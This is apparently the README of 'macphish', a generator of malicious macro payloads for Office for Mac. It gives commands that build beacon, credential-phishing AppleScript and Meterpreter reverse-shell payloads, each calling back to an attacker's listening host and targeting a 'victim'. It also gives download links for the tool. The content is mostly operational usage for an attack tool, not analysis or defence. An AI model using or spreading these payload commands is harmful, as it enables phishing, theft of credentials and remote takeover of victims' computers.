Office for Mac Macro Payload Generator
There are 4 attack vectors available:
- beacon
- creds
- meterpreter
- meterpreter-grant
For the 'creds' method, macphish can generate the Applescript script directly, in case you need to run it from a shell.
On execution, this payload will signal our listening host and provide basic system information about the victim. The simplest way of generating a beacon payload is:
$./macphish.py -lh <listening host>
By default, it uses curl but other utilities (wget, nslookup) can be used by modifying the command template.
$./macphish.py -lh <listening host> -lp <listening port> -a creds
The simplest way of generating a meterpreter payload is:
$./macphish.py -lh <listening host> -lp <listening port> -p <payload> -a meterpreter
The generate a meterpreter payload that calls GrantAccessToMultipleFiles() first:
$./macphish.py -lh <listening host> -lp <listening port> -p <payload> -a meterpreter-grant
For meterpreter attacks, only python payloads are supported at the moment.
See https://github.com/The404Hacking/MacPhish/wiki
- https://drive.google.com/open?id=0BzPR8exG0kt6TlY1UWhiemVKRnc
- https://drive.google.com/open?id=0BzPR8exG0kt6WWUzU0tKUjFhdjg
- https://drive.google.com/open?id=0BzPR8exG0kt6VzlaWVVJdEtNR0k
- https://drive.google.com/open?id=0BzPR8exG0kt6SnJwM01KSzAzMjA
Download: https://github.com/The404Hacking/MacPhish/archive/master.zip
Clone: git clone https://github.com/The404Hacking/MacPhish